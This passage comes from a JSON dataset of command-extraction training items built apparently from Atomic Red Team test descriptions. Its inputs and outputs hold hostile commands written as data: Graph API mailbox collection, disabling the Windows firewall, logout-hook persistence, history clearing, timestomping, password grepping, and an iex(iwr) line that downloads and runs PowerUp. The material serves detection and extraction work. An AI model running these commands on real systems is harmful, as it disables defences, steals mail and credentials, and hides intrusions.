(($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}\nconnect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name\nforeach ($user in $selectUsers) { $url= \"https://graph.microsoft.com/v1.0/users/$($user)/messages\" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}; You can collect a screenshot of your entire desktop by executing this command: screencapture #{output_file}",
    "output": "{\"command_list\": [\"$ss = ConvertTo-SecureString \\\"#{password}\\\" -AsPlainText -Force\\n$cred = New-Object PSCredential -ArgumentList '#{username}', $ss\\n$param = @{\\n    Credential = $cred\\n    Force      = $true\\n}\\n$null = Connect-AzAccount @param\\n$token = (Get-AzAccessToken -ResourceTypeName MSGraph -ErrorAction Stop).token\\n$cert = New-SelfSignedCertificate -Subject \\\"CN=PowerShell Application\\\" -CertStoreLocation \\\"Cert:\\\\CurrentUser\\\\My\\\" -KeyExportPolicy Exportable -KeySpec Signature -KeyLength 2048 -KeyAlgorithm RSA -HashAlgorithm SHA256\\n$reqResourceAccess = ( @{ \\\"resourceAccess\\\" = (@{\\\"id\\\"= \\\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{ \\\"id\\\"= \\\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{\\\"id\\\"= \\\"37f7f235-527c-4136-accd-4a02d197296e\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{\\\"id\\\"= \\\"14dad69e-099b-42c9-810b-d002981feec1\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{ \\\"id\\\"= \\\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\\\"; \\\"type\\\"= \\\"Scope\\\"}, @{ \\\"id\\\"= \\\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\\\"; \\\"type\\\"= \\\"Role\\\"}); \\\"resourceAppId\\\" = \\\"00000003-0000-0000-c000-000000000000\\\" })\\nconnect-mggraph -AccessToken $token\\n$context = Get-MgContext       \\n$users = get-MgUser\\n$app = New-MgApplication -DisplayName \\\"T1114.002 Atomic Test #1 - Office365 - Remote Email Collection\\\" -RequiredResourceAccess $reqResourceAccess -Web @{ RedirectUris=\\\"http://localhost\\\"; } -KeyCredentials @(@{ Type=\\\"AsymmetricX509Cert\\\"; Usage=\\\"Verify\\\"; Key=$cert.RawData })\\nNew-MgServicePrincipal -AppId $app.appId -AdditionalProperties @{} | Out-Null\\n$resourceSPN = Get-MgServicePrincipal -Filter \\\"AppId eq '$($app.AppId)'\\\"\\n$graphApiApp = Get-MgServicePrincipal -Filter \\\"DisplayName eq 'Microsoft Graph'\\\"\\n$mailRole = $graphApiApp.AppRoles|Where-Object Value -Eq \\\"Mail.Read\\\"\\nNew-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $resourceSPN.Id -PrincipalId $resourceSPN.Id -ResourceId $graphApiApp.id -AppRoleId $mailRole.Id\\n$mailbox1 = \\\"#{1st_target_mailbox}\\\"\\n$mailbox2 = \\\"#{2nd_target_mailbox}\\\"\\n$mailbox3 = \\\"#{3rd_target_mailbox}\\\"\\n[System.Collections.ArrayList]$selectUsers = @()\\nforeach ($user in $users) {if (($user.Mail -eq $mailbox1) -Or ($user.Mail -eq $mailbox2) -Or ($user.Mail -eq $mailbox3)){$selectUsers.Add($user.id)}}\\nconnect-mggraph -ClientId $app.AppId -TenantId $context.TenantId -CertificateName $cert.Subjectname.Name\\nforeach ($user in $selectUsers) { $url= \\\"https://graph.microsoft.com/v1.0/users/$($user)/messages\\\" ; Invoke-MgGraphRequest -Uri $url -Method GET -OutputType PSObject}\\n\", \"screencapture #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable the Microsoft Defender Firewall for the current profile, use the following command: netsh advfirewall set currentprofile state off. Note: Exercise caution when running this remotely, especially with cleanup commands that might re-enable the firewall.; The Microsoft Defender Firewall can be disabled for the public profile by executing this registry command: reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"netsh advfirewall set currentprofile state off\\n\", \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\PublicProfile\\\" /v \\\"EnableFirewall\\\" /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test the execution of commands upon user logout, first create a user and configure their .bash_logout file with the following commands: useradd --create-home --shell /bin/bash art\nsu -l art -c \"echo 'echo \\\"Atomic Red Team was here... T1546.004\\\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit\"; To install a new IIS Module using AppCmd.exe, ensure IIS is installed and run the following command: %windir%\\system32\\inetsrv\\appcmd.exe install module /name:#{module_name} /image:#{dll_path}",
    "output": "{\"command_list\": [\"useradd --create-home --shell /bin/bash art\\nsu -l art -c \\\"echo 'echo \\\\\\\"Atomic Red Team was here... T1546.004\\\\\\\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit\\\"\\n\", \"%windir%\\\\system32\\\\inetsrv\\\\appcmd.exe install module /name:#{module_name} /image:#{dll_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following PowerShell command spawns a process as a child of the initial svchost.exe process it finds: Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'; To create a notepad.exe process and spawn a powershell.exe process as its child, use the following command: Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
    "output": "{\"command_list\": [\"Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \\\"Name = 'svchost.exe' AND CommandLine LIKE '%'\\\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'\", \"Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The current session won't record any commands in the history file when you use the following setting: Set-PSReadLineOption -AddToHistoryHandler { return $false }; This action, which makes incident detection more challenging, can be performed via the command: Clear-History",
    "output": "{\"command_list\": [\"Set-PSReadLineOption -AddToHistoryHandler { return $false }\\n\", \"Clear-History\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The threat actor Rocke employed this method during Linux web server compromises, executing these commands to synchronize timestamps: touch #{target_file_path}\ntouch -acmr #{reference_file_path} #{target_file_path}\n; This technique, employed by Stitch RAT, modifies a file's creation date via the command: Get-ChildItem \"#{file_path}\" | % { $_.CreationTime = \"#{target_date_time}\" }\nSuccessful execution can be confirmed by viewing the file's Properties in File Explorer and noting the Created time is set to 1970.",
    "output": "{\"command_list\": [\"touch #{target_file_path}\\ntouch -acmr #{reference_file_path} #{target_file_path}\\n\", \"Get-ChildItem \\\"#{file_path}\\\" | % { $_.CreationTime = \\\"#{target_date_time}\\\" }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract credentials from files, run the following command: grep -ri password #{file_path}\nexit 0; To extract credentials from files, run the following command which searches for the word 'password' in various file types: findstr /si pass *.xml *.doc *.txt *.xls\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\n",
    "output": "{\"command_list\": [\"grep -ri password #{file_path}\\nexit 0\\n\", \"findstr /si pass *.xml *.doc *.txt *.xls\\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax 